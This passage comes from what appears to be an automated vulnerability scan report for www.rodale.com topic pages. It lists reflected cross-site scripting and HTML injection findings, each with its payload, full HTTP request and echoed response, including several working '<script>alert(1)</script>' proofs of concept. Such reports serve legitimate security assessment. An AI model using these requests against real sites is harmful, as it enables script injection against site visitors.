Host:	http://www.rodale.com
Path:	/topic/maria-rodale

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6b99"><a>5d60d49d342 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/maria-rodaled6b99"><a>5d60d49d342 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:50 GMT
Date: Thu, 10 Mar 2011 17:15:50 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-maria-rodaled6b99"><a>5d60d49d342 node node-958">
...[SNIP]...

2.673. http://www.rodale.com/topic/maria-rodale [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/maria-rodale

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18909"><script>alert(1)</script>949af9c9196 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/maria-rodale?18909"><script>alert(1)</script>949af9c9196=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:12 GMT
Date: Thu, 10 Mar 2011 17:15:12 GMT
Content-Length: 29387
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/maria-rodale?18909"><script>alert(1)</script>949af9c9196=1" title="Register" class="moreLink">
...[SNIP]...

2.674. http://www.rodale.com/topic/massage [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/massage

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 326cc"><a>d33e13a2187 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic326cc"><a>d33e13a2187/massage HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:09 GMT
Date: Thu, 10 Mar 2011 17:15:09 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic326cc"><a>d33e13a2187 topic326cc">
...[SNIP]...

2.675. http://www.rodale.com/topic/massage [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/massage

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79757"><a>0e905d3eb3f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/massage79757"><a>0e905d3eb3f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:59 GMT
Date: Thu, 10 Mar 2011 17:15:59 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-massage79757"><a>0e905d3eb3f node node-958">
...[SNIP]...

2.676. http://www.rodale.com/topic/massage [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/massage

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24202"><script>alert(1)</script>043b94a080d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/massage?24202"><script>alert(1)</script>043b94a080d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:07 GMT
Date: Thu, 10 Mar 2011 17:15:07 GMT
Content-Length: 30019
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/massage?24202"><script>alert(1)</script>043b94a080d=1" title="Register" class="moreLink">
...[SNIP]...

2.677. http://www.rodale.com/topic/meat [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/meat

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e896"><a>b28ba9af044 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3e896"><a>b28ba9af044/meat HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:28 GMT
Date: Thu, 10 Mar 2011 17:15:28 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3e896"><a>b28ba9af044 topic3e896">
...[SNIP]...

2.678. http://www.rodale.com/topic/meat [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/meat

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb47e"><a>77266785446 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/meateb47e"><a>77266785446 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:00 GMT
Date: Thu, 10 Mar 2011 17:16:00 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-meateb47e"><a>77266785446 node node-958">
...[SNIP]...

2.679. http://www.rodale.com/topic/meat [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/meat

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fccdd"><script>alert(1)</script>e08a755bd5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/meat?fccdd"><script>alert(1)</script>e08a755bd5c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:26 GMT
Date: Thu, 10 Mar 2011 17:15:26 GMT
Content-Length: 32405
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/meat?fccdd"><script>alert(1)</script>e08a755bd5c=1" title="Register" class="moreLink">
...[SNIP]...

2.680. http://www.rodale.com/topic/medical-tests [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/medical-tests

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b5c9"><a>888092cd589 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1b5c9"><a>888092cd589/medical-tests HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:22 GMT
Date: Thu, 10 Mar 2011 17:15:22 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1b5c9"><a>888092cd589 topic1b5c9">
...[SNIP]...

2.681. http://www.rodale.com/topic/medical-tests [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/medical-tests

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbbe2"><a>4932978b5e6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/medical-testsdbbe2"><a>4932978b5e6 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:00 GMT
Date: Thu, 10 Mar 2011 17:16:00 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-medical-testsdbbe2"><a>4932978b5e6 node node-958">
...[SNIP]...

2.682. http://www.rodale.com/topic/medical-tests [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/medical-tests

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4c50"><script>alert(1)</script>46d3982825f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/medical-tests?a4c50"><script>alert(1)</script>46d3982825f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:17 GMT
Date: Thu, 10 Mar 2011 17:15:17 GMT
Content-Length: 30810
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/medical-tests?a4c50"><script>alert(1)</script>46d3982825f=1" title="Register" class="moreLink">
...[SNIP]...

2.683. http://www.rodale.com/topic/mediterranean-diet [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mediterranean-diet

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33f21"><a>1c58f90345d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic33f21"><a>1c58f90345d/mediterranean-diet HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:21 GMT
Date: Thu, 10 Mar 2011 17:15:21 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic33f21"><a>1c58f90345d topic33f21">
...[SNIP]...

2.684. http://www.rodale.com/topic/mediterranean-diet [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mediterranean-diet

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a24ec"><a>df651caf465 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mediterranean-dieta24ec"><a>df651caf465 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:00 GMT
Date: Thu, 10 Mar 2011 17:16:00 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mediterranean-dieta24ec"><a>df651caf465 node node-958">
...[SNIP]...

2.685. http://www.rodale.com/topic/mediterranean-diet [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mediterranean-diet

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d9c4"><script>alert(1)</script>aec44d97869 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mediterranean-diet?5d9c4"><script>alert(1)</script>aec44d97869=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:19 GMT
Date: Thu, 10 Mar 2011 17:15:19 GMT
Content-Length: 31512
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mediterranean-diet?5d9c4"><script>alert(1)</script>aec44d97869=1" title="Register" class="moreLink">
...[SNIP]...

2.686. http://www.rodale.com/topic/memory [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/memory

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d44e1"><a>f048edc565d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd44e1"><a>f048edc565d/memory HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:32 GMT
Date: Thu, 10 Mar 2011 17:15:32 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd44e1"><a>f048edc565d topicd44e1">
...[SNIP]...

2.687. http://www.rodale.com/topic/memory [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/memory

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e579"><a>541f941a53 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/memory9e579"><a>541f941a53 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:07 GMT
Date: Thu, 10 Mar 2011 17:16:07 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-memory9e579"><a>541f941a53 node node-958">
...[SNIP]...

2.688. http://www.rodale.com/topic/memory [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/memory

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 745c4"><script>alert(1)</script>30d87d09b89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/memory?745c4"><script>alert(1)</script>30d87d09b89=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:27 GMT
Date: Thu, 10 Mar 2011 17:15:27 GMT
Content-Length: 30837
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/memory?745c4"><script>alert(1)</script>30d87d09b89=1" title="Register" class="moreLink">
...[SNIP]...

2.689. http://www.rodale.com/topic/menopause [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/menopause

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8553c"><a>e044398c71 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8553c"><a>e044398c71/menopause HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:25 GMT
Date: Thu, 10 Mar 2011 17:15:25 GMT
Content-Length: 22494
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
